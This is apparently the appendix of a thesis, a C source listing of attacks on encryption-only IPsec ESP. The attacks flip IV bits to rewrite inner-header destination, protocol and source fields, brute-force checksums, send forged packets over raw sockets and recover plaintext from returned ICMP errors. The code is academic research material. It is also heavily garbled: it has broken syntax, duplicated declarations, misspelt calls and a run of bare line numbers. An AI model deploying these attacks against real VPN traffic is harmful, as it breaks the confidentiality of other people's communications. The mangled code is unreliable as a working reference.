    *encapkt_p, struct cap_packet *decapkt_p, char *dst) { /*
    pre: flipped_h1_64 is assumed to take ip header to block boundary

    int esppayload_bytes = enc->size - sizeof(struct icmphdr) - ESPHDRSIZE - IVSIZE64;
    int espapayload_bytes = esppayload_bytes / BLOCKSIZE64;

    int icmpptx_bytes = decapkt_p->size - sizeof(struct icmphdr) - sizeof(struct icmphdr) - 4*flipped_h1_64; // number of plaintext bytes
    int icmpptx_bytes = icmpptx_bytes / BLOCKSIZE64; /*

    int usefull_bytes = encapspkt_p->size - sizeof(struct icmphdr) - ESPHDRSIZE - IVSIZE64 - flipped_h1_64-4 - 2*BLOCKSIZE64; // number of plaintext
    int usefull_bytes = usefull_bytes / BLOCKSIZE64;

    int maxusefull_bytes = maxicmpsize[target] - sizeof(struct icmphdr) - sizeof(struct icmphdr)
        - flipped_h1_64-4 - 2*BLOCKSIZE64;

    int attack_blocks = max_usefull_bytes / BLOCKSIZE64;

    int attack_blocks = 

int num_queries = esppayload_blocks / attack_blocks +
((esppayload_blocks % attack_blocks > 0) ? 1: 0);

i, q, lower, upper;
char *encptr, *decptr;
int useful_blocks = icmpptx_blocks - ((flipped_bl_64 + 1)/2);
int sockd;
struct sockaddr_in mysocket;

open_rawsocket(&sockd, &mysocket, dst);
print("Fast_attack: \n");
print("Target ESP\n\nsize: \n\n|remainder: \n\n| esppayload_bytes, esppayload_blocks, esppayload_bytes % BLOCKSIZE_64\n");
// print("Plaintext length returned in ICMP packet (deprecated): %d bytes (%d blocks) /
|remainder: \n\n| icmpptx_bytes, icmpptx_blocks, icmpptx_bytes % BLOCKSIZE_64\n");
print("Max_usable_returned_data_limited_by_ICMP_size: %d_bytes (%d_blocks) | (remainder: %d
|size: %d)\n| max_usable_bytes, max_usable_blocks, max_usable_bytes % BLOCKSIZE_64\n");
print("Actual_usable_data_in_slow_attack_packet: %d_bytes (%d_blocks) | (remainder: %d
|size: %d)\n| useful_bytes, useful_blocks, useful_bytes % BLOCKSIZE_64\n");
// print("Max. no. of useful blocks per query: %d\n", useful_blocks);
print("Number of queries for this packet: %d\n", num_queries);

print("Target ESP_packet_content \n");
for (i = 0; i < size; i++)
    print("%02X\n", enc->data[i]);
print("\n");
if (attack_blocks < 1) {
    print("Fast_attack : failed - packet returns fewer than 1 block of plaintext. ");
    return 0;
}
dec->data = malloc(esppayload_bytes);
if (dec->data == NULL) {
    perror("malloc");
exiit(0);
}

/∗ set pointers and loop ∗/
encptr = ((u_char *)enc->data) + sizeof(struct iphdr) + ESPHDRSIZE; // points to IV
decptr = (u_char *)dec->data;
for (q = 0; q < num_queries; q++) {
    lower = q * attack_blocks + 1;
    upper = q * attack_blocks + ((q * num_queries - 1) * attack_blocks +
    ( (esppayload_blocks % attack_blocks == 0) ? attack_blocks:
    esppayload_blocks % attack_blocks ));
    //print("test \n| (q\n|num_queries - 1) ? \n\n| true: \n\n| false")
    //print("icmpptx_blocks: %d\n| technik: %d\n| icmpptx_blocks, esppayload_blocks, icmpptx_blocks\n");
    print("Loop %d\n| decrypting_blocks %d to %d\n", q, lower, upper);
    fast_attack_blocks_64(encptr, decptr, encsapkt_p, decsapkt_p, lower, upper, sockd, &
    mysocket, dst);
    // return value ??
}

/∗ trim trailer ∗/
/∗ fill in dec->size ∗
int padsize = dec->data[esppayload_bytes - 2];
int nexthdr = dec->data[esppayload_bytes - 1];
dec->size = esppayload_bytes - 2 - padsize;

/∗ dump ∗/
dump("Decrypted ESP\n\n( padsize: %d, next_header: %d) \n\n\n| padsize, nexthdr)
for (i = 0; i < esppayload_bytes; i++)
    print("%02X\n", dec->data[i]);
print("\n");


```c
int do_slow_attack (struct cap_packet *pktptr, char *dst, int lower, int upper, int delay, int interval, int loop_count)
{
    struct iphdr *outer, *inner; // outer / inner ip
    //uint32_t spi, seq; // esp header
    u_char *ptr;
    int i;
    int *seq;
    int sockfd; // socket addr in mysocket;
    int sendsize = pktptr->size;
    //uint32_t half, *half_ptr;
    uint32_t csum; // csum_ptr;
    pthread_t icmphread;

    open_rawsocket (&sockd, &mysocket, dst);
    /* outer ip header */
    outer = (struct iphdr *)(pktptr->data);
    printf("OuterIP version": IPv4, outer->version, ntohl(outer->tot_len));
    /* esp header info */
    ptr = ((u_char *)outer) + sizeof(struct iphdr)); // points to spi
    printf("SPI": ntohs(csum), htonl(*ptr));
    ptr += 4; // points to seq
    seq = (*seq)ptr;
    printf("Seq": ntohs(inner->seq), htonl(*ptr));
    for (i = 0; i < IV_SIZE_128; i++) {
        printf("%02X", ptr[i]);
    }
    printf("\n");
    /* inner points to IV to flip inner ip */
    inner = (struct iphdr *)ptr;
    /* save original csum */
    csum = inner->check;
    inner->ahdr = 0xFF;
    /* flip bits in to make header length = 8 (assuming 0x5) */
    inner->iblk = flipmask.I28;
    printf("Modified": IPv4); /*
    for (i = 0; i < IV_SIZE_128; i++) {
        printf("%02X", ptr[i]);
    }
    printf("\n");
    /* save the original (block before) dst ip */
    // half_ptr = (uint32_t *)((char *)outer + sizeof(struct iphdr) + ESPHDRSIZE + IVSIZE_64 + sizeof(struct iphdr) - BLOCKSIZE_64);
    // half = ntohl(*half_ptr);
    /* start ICMP capture thread */
    pthread_create(&icmpthread, NULL, doicmp_capture, (void *)dst);
    printf("Starting ICMP packet capture thread...\n");
    pthread_create(&icmpthread, NULL, doicmp_capture, (void *)dst);
    /* sleep to let thread start */
    usleep(THEADING_SLEEP);
    printf("Original checksum": _%4X\n", ntohl(csum)); //
    for (i = 0; i < IV_SIZE_128; i++) {
        printf("Sending checksum": _%4X\n", ntohl(inner->check));
    }
    sendto (sockd, (char *)outer, sendsize, 0); //
    (struct sockaddr *)mysocket, sizeof(mysocket)) < 0) {
        perror("sendto");
        return 0;
    }
    close (sockd);
    return 1;
}
```
A.3 attacks.c

574     }  
575     exit(-1);  
576     }  
577     }  
578  
579  
580  
581  
582  
583  
584  
585  
586  
587  
588  
589  
590  
591  
592  
593  
594  
595  
596  
597  
598  
599  
600  
601  
602  
603  
604  
605  
606  
607  
608  
609  
610  
611  
612  
613  
614  
615  
616  
617  
618  
619  
620  
621  
622  
623  
624  
625  
626  
627  
628  
629  
630  
631  
632  
633  
634  
635  
636  
637  
638  
639  
640  
641  
642  
643  
644  
645  
646  
647  
648  
649  
650  
651  164
A.4 destattacks.c

```c
#include "stdlib.h"
#include "stdio.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "sys/wait.h"
#include "sys/stat.h"
#include "fcntl.h"
#include "arpa/inet.h"
#include "netinet/in.h"
#include "netinet/in_systm.h"
#include "netinet/ip.h"
#include "netinet/icmp.h"
#include "netinet/ether.h"
#include "strings.h"
#include "unistd.h"
#include "errno.h"
#include "pthread.h"
#include "time.h"
#include "pcap.h"
#include "spice.h"

#define NULLCMASK 0x0000

int dest_packet_captured = 0;

void dest_packet_rcv(u_char *user, const struct pcap_pkthdr *header, const u_char *packet){
    int ippacket_size;
    //struct cpu_packet *captured;
    u_char *pktdata;

    /* set slow success flag */
dest_packet_captured = 1;

    printf("###Packet received !!!\n");

    /* calculate size of ip packet */
    ippacket_size = header->caplen - sizeof(struct ether_header);

    /* allocate memory for struct and packet data */
    //printf("malloc'ing...\n");

    printf("Success copied encrypted packet content: \\
");
    for(i=0; i<encapkt.size; i++)
        printf("%02X", encapkt.data[i] );
    printf("\n");
}
return success;
}
void cleanup() {
    // free memory
    int i;
    printf("Freeing memory...\n");
    for(i=0; i<numcaptured; i++)
        if(encpackets[i] != NULL)
            free(encpackets[i] - data);
        free(encpackets[i] );
    if(decpackets[i] != NULL)
        free(decpackets[i] - data);
        free(decpackets[i] );
}
free(icmp pkt.data);
free(encapkt.data);
}
/*
 * destattacks.c - library functions for destination rewriting attacks
 */
```
// captured = (struct cap_packet *)malloc(sizeof(struct cap_packet));
if (icmp_pkt_data != NULL)
    free(icmp_pkt_data);
pktdata = (u_char *)malloc(ippacket_size);
    //## check return values!
for (i = 0; i < icmp_pkt_size; i++)
    printf("\%02X", icmp_pkt.data[i]);
}

void* do_dest_packet_capture(void *p) {
    static pcap_t *handle = NULL;
    char *dev = "eth0";
    pcap lookupnet(dev, &net, &mask, errbuf);
    pcap compile(handle, &filter, filter_app, 0, net);
    pcap close(handle);
    return NULL;
}

int do_dest128(struct cap_packet *pktptr, char *dst) {
    struct iphdr *outer, *inner; // outer / inner ip
A.4 destattacks.c

// uint32_t spi, seq; // esp header
// uchar iv[IVSIZE];
uint *ptr;
int i;
int *seq;
int sockfd;
struct sockaddr_in mysocket;
int sendsize = pktptr->size;
pthread_t capturethread;
dest_packet_captured = 0;
open_rawsocket(&sockd, &mysocket, dst);

outer = (struct iphdr *)(pktptr->data);
// printf("Outer IP version: %d total_len: %d, outer->version, ntohs(outer->tot_len));

ptr = ((uchar *)outer) + sizeof(struct iphdr); // points to spi
printf("Inner SPI: %d\n", ntohl(*(int *)ptr));
ptr += 4; // points to seq
seq = (int *)ptr;
printf("Seq No.: %d\n", ntohl(*(int *)seq));
ptr += 4; // points to IV
printf("Original IV:");
for (i = 0; i < IVSIZE; i++) {
    printf("%02X", ptr[i]);
    if ((i % 4) == 3) printf("\n");
}

inner = (struct iphdr *)ptr;
// read some random bytes for C2s/
FILE *randfd = fopen("/dev/urandom", "r");
uint c2;
 fread(&c2, sizeof(uint), 1, randfd); printf("%08X\n", htonl(c2));

/* flip protocol, src, csum fields */
 inner->check ^= csum_mask;

/* set C2 to random */
uint *c2p = (uint *)(ptr + 2 * BLOCKSIZE);
*c2p = htonl(c2);

/* start ICMP capture thread */
pthread_create(&capturethread, NULL, do_dest_packet_capture, (void *)dst);
// printf("Thread id %d started\n", (int)capturethread);

/* sleep to let thread start */
usleep(THREAD_SLEEP);

/* try all checksums */
printf("Original checksum: \t%04X\n", ntohs(inner->check));

for (i = 0; i < 0xFFF & !dest_packet_captured; i++) {
    /* setting checksum */
    inner->check = htonl(i);
    if ((i & 0xff) == 0) {
        printf("sending checksum: \t%04X\n", i);
        /* send packet */
        if(sendto(sockd, (uchar *)outer, sendsize, 0, (struct sockaddr *)&mysocket, sizeof(mysocket)) < 0) {
            perror("sendto");
            return 0;
        }
    }
usleep(200);
A.5 protoattacks.c

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ether.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>
#include <pcap.h>
#define NULLCMASK 0x0000

int proto_icmp_captured = 0;
int timed_out = 0;
unsigned char fast_attack_csum_mask = 0x00;
unsigned int fast_attack_src_mask = 0x0000;

void proto_icmp_recv(unsigned char *user, const struct pcap_pkthdr *header, const unsigned char *packet)
{
    int ipacket_size;
    // struct captured;
    unsigned char *pktdata;

    /* set slow success flag */
    proto_icmp_captured = 1;
    printf("###ICMP\nreceived!!");

    /* calculate size of ip packet */
    ipacket_size = header->caplen - sizeof(struct ether_header);

    /* allocate memory for struct and packet data */
    //printf("malloc\n...\n");
    ipacket = (struct captured *)malloc(sizeof(struct captured));
    if(ipacket != NULL)
    {
        free(ipacket->pktdata);
        pktdata = (unsigned char*)malloc(ipacket_size);
        if(pktdata != NULL)
        {
            //##check return values!
            memcpy(pktdata, packet+ipacket_size, ipacket_size);
            //##check return value!
        }
    }
    /* copy fields */
    //printf("copying...\n");
    icmp_pkt_time = header->tssec;
    icmp_pkt_size = ipacket_size;
    memcpy(pktdata, packet+ipacket_size, ipacket_size);
}
icmp.pkt.data = pktdata;
/* dump */
/* printf("ICMP copied packet size: %d\n", icmp.pkt.size); */
/* printf("ICMP copied packet content: \n"); */
for(i = 0; i < icmp.pkt.size; i++) {
    printf("%02X\n", icmp.pkt.data[i]);
}

void *do_proto_icmp_capture(void *p) {
    static pcap_t *handle = NULL;
    char *dev = "eth0";
    struct bpf_program filter;
    char filter_app[256] = "icmp [icmp_type] = icmp-unreach and icmp [icmp_code] = icmp-unreach";
    int num_received;
    char *src;
    bpf_uint32 net, mask;
    /* copy the param */
    src = (char *)p;
    if (handle == NULL) {
        /* get net and mask filled in */
        pcap_lookupnet(dev, &net, &mask, errbuf);
        /* open device */
        handle = pcap_open_live(dev, CAPTURESIZE, 1, 0, errbuf);
    }
    if (handle == NULL) {
        perror(pcap_geterr(handle));
        exit(-1);
    }
    /* returns the handle */
    /*((struct threadparams *)p)->pcaph = handle; */
    /* compile and set filter */
    if (VERBOSE) {
        printf("pcap_filter (icmp): %s\n", filter_app);
    }
    if (pcap_compile(handle, &filter, filter_app, 0, net) < 0) {
        perror(pcap_geterr(handle));
        exit(-1);
    }
    if (pcap_setfilter(handle, &filter) < 0) {
        perror(pcap_geterr(handle));
        exit(-1);
    }
    /* grab */
    /* printf("icmp capture: receiving...\n"); */
    num_received = pcap_loop(handle, 1, proto_icmp_rcv, NULL);
    /* clean up */
    /* printf("icmp capture: closing...\n"); */
    pcap_close(handle);
    return NULL;
}

int do_proto_slow_128(struct cap_packet *pktptr, char *dat, u_char proto_mask, u_int saddr_mask, u_short csum_mask, u_int timeout) {
    struct iphdr *outer, *inner; /* outer / inner ip */
    u_char isv4 = IPV4LENGTH;
    u_char isv6 = IPv6_LENGTH;
    int i;
    int *seq;
    int sockd;
    struct sockaddr_in msocket;
    int sendsize = pktptr->size;
A.5 protoattacks.c

137  pthread_t icmpthread;
138  proto_icmp_captured = 0;
139  open_rawsocket(&sockd, &mysocket, dst);
140  /* outer ip header */
141  outer = (struct iphdr *)(pktptr->data);
142  // printf("Outer IP version: %d\n\ttot_len: %d\n\tversion, ntohs(outer->tot_len));
143  /* esp header info */
144  ptr = ((u_char *)outer) + sizeof(struct iphdr);
145  // printf("Inner_SPI: %d\n", ntohl(*((int *)ptr)));
146  ptr += 4; // points to seq no
147  seq = ((int *)ptr);
148  printf("Seq No.: %d\n", ntohl(*((int *)seq)));
149  ptr += 4; // points to IV
150  printf("Original IV: \0x\n");
151  for(i = 0; i < IVSIZE; i++) {
152    printf("%02X", ptr[i]);
153    if((i %4)==3)
154      printf("\n");
155  }
156  printf("\n");
157  /* inner points to IV to flip inner ip */
158  inner = (struct iphdr *)ptr;
159  /* flip protocol, src, csum fields */
160  inner->protocol ^= proto_mask;
161  inner->saddr ^= saddr_mask;
162  inner->check ^= csum_mask;
163  printf("Modified IV: \0x\n");
164  for(i = 0; i < IVSIZE; i++) {
165    printf("%02X", ptr[i]);
166    if((i %4)==3)
167      printf("\n");
168  }
169  printf("\n");
170  /* start ICMP capture thread */
171  pthread_create(&icmpthread, NULL, do_proto_icmp_capture, (void *)&dst);
172  /* print("Thread id %d started\n", (int)icmpthread); */
173  /* sleep to let thread start */
174  usleep(THREAD_SST_SLEEP);
175  /* send packet */
176  if(sendto(sockd, (char *)outer, sendsize, 0x0,
177    (struct sockaddr *)&mysocket, sizeof(mysocket)) < 0) {
178    perror("sendto");
179    return 0;
180  }
181  time_t now = 0;
182  while(!proto_icmp_captured && (now++ < timeout))
183    usleep(1000);
184  /* be nice and close what you've opened*/
185  close(sockd);
186  /* cancel the thread */
187  pthread_cancel(icmpthread);
188  /* wait for thread to return */
189  pthread_join(icmpthread, NULL);
190  /* returns false if failed */
191  if(!proto_icmp_captured) {
192    /* restore protocol, src, csum fields */
193    inner->protocol ^= proto_mask;
194    inner->saddr ^= saddr_mask;
195    inner->check ^= csum_mask;
196    return proto_icmp_captured;
197  }
A.5 proattacks.c

/* copy success packet data */
// printf("Copying success attack packet\n");
encsapkt.size = sendsize;
encsapkt.data = (uchar*)malloc(sendsize);
memcpy(encsapkt.data, outer, sendsize);

// printf("Copied success packet:\n");
for (i=0; i<sendsize; i++) {
    printf("%02X ", encsapkt.data[i]);
}
// printf("\n");

/* copy returned icmp */
// printf("Copying returned ICMP packet\n");
memcpy(&decpkt, &icmppkt, sizeof(struct cappacket));

/* restore protocol, src, csum fields */
inner->protocol = proto_mask;
inner->saddr = saddr_mask;
inner->check = csum_mask;
return protoicmpcaptured;

u_short csum_mask_gen(u_int pos, u_int num) {
/* 0 <= pos < 16, 0 < num <= 16*/
static u_short m[] = {
    0x0001, 0x0003, 0x0007, 0x000f,
    0x001f, 0x003f, 0x007f, 0x00ff,
    0x01ff, 0x03ff, 0x07ff, 0x0fff,
    0x0fff, 0x1fff, 0x3fff, 0x7fff,
    0xffff
};
    u_int shifted = (u_int)(m[num]) << pos;
    return htons((u_short)(shifted ^ (shifted >> 16)));
}

int fix_send(struct cappacket *pktptr, char *dst, u_int proto_bit, u_int proto_num, u_int src_bit, u_int src_num, u_int timeout, int *countp) {
    int success = 0;
    u_short cf1, cf2;

    /* compute the flip masks */
    u_char proto_mask = 0x01 << proto_bit;
    u_int src_mask = (u_int)(htonl(0x00000000 << src_bit));

    // get the csum masks
    cf1 = csum_mask_gen(proto_bit, proto_num);
    cf2 = csum_mask_gen(src_bit % 16, src_num);

    printf("proto_num:" PROTO_FORMAT "src_num:" SRC_FORMAT "cf1:" CF_FORMAT "cf2:" CF_FORMAT "\n", proto_num, src_num, ntohs(cf1), ntohs(cf2));

    // increment count
    if (countp != NULL) (*countp)++;

    if ( (success = do_proto_slow_128(pktptr, dst, proto_mask, src_mask, cf1, cf2, timeout)) ) {
        fastattack.csum_mask = proto_mask;
        fastattack.src_mask = src_mask;
    }
    return success;
}

int proto_slow_128_params(struct cappacket *pktptr, char *dst, u_int proto_bit, u_int src_bit, u_int timeout, int *succsleep) {
    int count = 0, success = 0, i, j, k;

    /* check protocol and src add flip bit index*/
    if ( (proto_bit>7) || (src_bit>31) )
        return -1;

    int proto_bit = 0x01, src_bit = 0x00;
A.5 protoattacks.c

/* compute the flip masks */

uchar proto_mask = 0x01 << proto_bit;
uint src_mask = (uint) htonl(0x00000001 << src_bit));

printf("Protocol mask: %02X\ src add_mask: %02X\n", proto_mask, ntohl(src_mask));

/* top left half */

for (i=0; i<15; i++) {
for (j=0; j<i; j++) {
    k = i-j;
    if ( (success = fix_send(pktptr, dst, proto_bit, j, src_bit, k, timeout, &count) ) )
        break;
}
if (success)
    break;
}

if (!success) {
    /* bottom right half */
    for (i=0; i<15; i++) {
        if ( (success = fix_send(pktptr, dst, proto_bit, 16+i, src_bit, 16, timeout, &count) ) )
            break;
    }
}

if (!success)
    success = fix_send(pktptr, dst, proto_bit, 16, src_bit, 16, timeout, &count);

if (success & (success > 0) )
    usleep(success);
return count;
}

int proto_slow_128(struct cap_packet *pktptr, char *dst, int stats) { }

int count = proto_slow_128_params(pktptr, dst, 7, 25, 10, succ_sleep);
return count;

/* fills dec->data (already malloc'ed) with decrypted blocks of enc */

int proto_fast_attacks_128(uchar *encptr, uchar *decptr, struct cap_packet *encapkt_p, struct cap_packet *decsapkt_p, int lower, int upper, int sockd, struct sockaddr_in *mysocket_p, char *dst) { }

// enc points to IV

pthread_t icmpthread;

int i;

int numblocks = upper-lower+1;

int preamble_size = sizeof(struct iphdr) + IPvHSRDSIZE + IVSIZE_128 + 2*BLOCKSIZE_128;

int adata_size = preamble_size + numblocks*BLOCKSIZE_128; // attack data size

// int apk1_size = preamble_size + numblocks*BLOCKSIZE_64; // attack packet size

int apk1_size = encapkt_p->size; // attack packet size

int pad_size = apk1_size - adata_size - 2*BLOCKSIZE_128;

uchar attack_pkt[apk1_size];

/* make attack packet */

if (VERBOSE)
    printf("\ Attack data size: %d\ t_pad_size: %d\ t_packet_size: %d\n", adata_size, pad_size, apk1_size);

//attack_pkt = malloc(apkt_size);
/* set to zero */
memset(attack_pkt, 0x0, apkt_size);

/* copy preamble */
memcpy(attack_pkt, (void *)encapkt_p->data, preamble_size);

/* copy encrypted data */
//printf("preamble_size: %d\n", preamble_size);
memcpy(attack_pkt+preamble_size, encptr + BLOCKSIZE*lower, numblocks*BLOCKSIZE*128);

/* copy last two blocks (to preserve ESP trailer) */
memcpy(attack_pkt+apkt_size-2*BLOCKSIZE*128, encapkt_p->data + apkt_size - 2*BLOCKSIZE*128,
2*BLOCKSIZE*128);

/* dump */
if (VERBOSE) {
    printf("AttackPacket content: \n");
    for(i=0; i<apkt_size; i++)
        printf("%02X", attack_pkt[i]);
    printf("\n");
}

/* start ICMP capture thread */
if (VERBOSE)
    printf("Starting ICMP packet capture thread . . .\n");
pthread_create(&icmpthread, NULL, do_protoicmp_capture, (void *)dst);
//printf("Thread id %d started\n", (int)icmpthread);

/* sleep to let thread start */
usleep(TIMEOUT);

/* send attack packet */
printf("Sending attack packet . . .\n");
if(sentto(sockfd, attack_pkt, apkt_size, 0, 0,
    (struct sockaddr *)&mysocket_p, sizeof(*mysocket_p)) < 0) {
    perror("sendto");
    return 0;
}

pthread_join(icmpthread, NULL);

/* copy decrypted content */
w_char *to = decptr + (lower-1)*BLOCKSIZE*128;
w_char *from = icmp_pkt->data + sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct
iphdr) + 3*sizeof(int);
memcpy(to, from, numblocks*BLOCKSIZE*128);

/* correct the first block */
if (VERBOSE)
    printf("Fixing first block . . .\n");
blockptr*128 c3 = (blockptr*128)(encapkt_p->data + preamble_size - BLOCKSIZE*128);
blockptr*128 t1 = (blockptr*128)to;
blockptr*128 prev_blk = (blockptr*128)(encptr + (lower-1)*BLOCKSIZE*128);

t1->first = c3->first & prev_blk->first;
t1->second = c3->second & prev_blk->second;
t1->third = c3->third & prev_blk->third;
t1->fourth = c3->fourth & prev_blk->fourth;

/* dump */
// printf("Copied plaintext bytes: (%d)\n", (unsigned int)to);
// for(i=0; i<numblocks*BLOCKSIZE*64; i++)
//    printf("%02X\n", to[i]);
// printf("\n");
return 1;
}

int proto_last_attack*128(int target, struct cap_packet *enc, struct cap_packet *dec, struct
 cap_packet *encapkt_p, struct cap_packet *decsapkt_p, char *int) {
    int esppayload_bytes = enc->size - sizeof(struct iphdr) - ESPHDRSIZE - IVSIZE*128;
    int esppayload_blocks = esppayload_bytes / BLOCKSIZE*128;

    int useful_bytes = encapkt_p->size - sizeof(struct iphdr) - ESPHDRSIZE - IVSIZE*128 -
    sizeof(struct iphdr) + 3*sizeof(WORDSIZE) - 2*BLOCKSIZE*128; // number of plaintext
    int useful_blocks = useful_bytes / BLOCKSIZE*128;
}
```c
int max_useful_bytes = maxicmpsize[ target ] - sizeof(struct iphdr) - sizeof(struct icmphdr)
        - sizeof(struct iphdr) - 2*WORDSIZE - 2*BLOCKSIZE/128;
int max_useful_blocks = max_useful_bytes / BLOCKSIZE/128;
int attack_blocks = (max_useful_blocks < useful_blocks) ?
        max_useful_blocks : useful_blocks;
int num_queries = esppreload_blocks / attack_blocks +
        ((esppreload_blocks % attack_blocks > 0) ? 1:0);
i, q, lower, upper;
sockd;
struct sockaddr_in mysocket;
open_socket(&sockd, &mysocket, dst);
printf("Protocol field fastattack:\n");
printf("Target ESP payload size: \d byts [\d blocks] [\d bytes, espayload_bytes, espayload_blocks, espayload_bytes % BLOCKSIZE/128];
        
// printf("Plain text length returned in ICMP packet (deprecated): \d bytes [\d blocks] [\d bytes, icmpipsize, icmpipsize_blocks, icmpipsize_bytes % BLOCKSIZE/128];
        
printf("Max possible returned data limited to ICMP size: \d byts [\d blocks] [\d bytes, max_useful_bytes, max_useful_blocks, max_useful_bytes % BLOCKSIZE/128];
        
printf("Actual usable data in low attack packet: \d byts [\d blocks] [\d bytes, num_queries, useful_bytes, useful_blocks, useful_bytes % BLOCKSIZE/128];
        
// printf("Max. no. of useful packets per query: \d", useful_blocks);
        
printf("Number of queries for this packet: \d", num_queries);
        
for(i=0; i<enc->size; i++)
        printf("%2x", enc->data[i]);
        printf("\n");
        
if(attack_blocks < 1) {
        printf("Fast attack failed: packet returns fewer than 1 block of plaintext.\n");
        return 0;
        
} else
        
dec->data = malloc(espayload_bytes);
        
if ((dec->data=NULL) { 
        perror("malloc");
        exit(0);
        } else
        
        char * encptr = ((char *)enc->data) + sizeoff(struct iphdr) + ESPHDRSIZE; // points to IV
decptr = (char *)dec->data;
for(q=0; q<num_queries; q++) {
lower = q*attack_blocks + 1;
upper = q*attack_blocks + ( (q.num_queries-1)? attack_blocks :
        (espayload_blocks % attack_blocks == 0)?
        espayload_blocks / attack_blocks ));
printf("Looped decrypting blocks \d to \d\n", q, lower, upper);
proto_fast_attack_blocks[128] (encptr, decptr, encsapkt4p, decsapkt4p, lower, upper, sockd , &mysocket, dst);
usleep(10000000);
        
// return value ??
        }
        
/* trim trailer */
        
/* fill in dec->size */
padsize = dec->data[espayload_bytes - 2];
nexthdr = dec->data[espayload_bytes - 1];
dec->size = espayload_bytes - 2 - padsize;
```
A.5 protoattacks.c

/* dump */

printf("Decrypted ESP payload (padsize: %d, next header: %d): \\
      n", padsize, nexthdr);

for (i = 0; i < esppayload_bytes; i++)
    printf("%02X", dec->data[i]);

printf("\n");

close(sockd);

return 1;
}
Bibliography


BIBLIOGRAPHY


BIBLIOGRAPHY


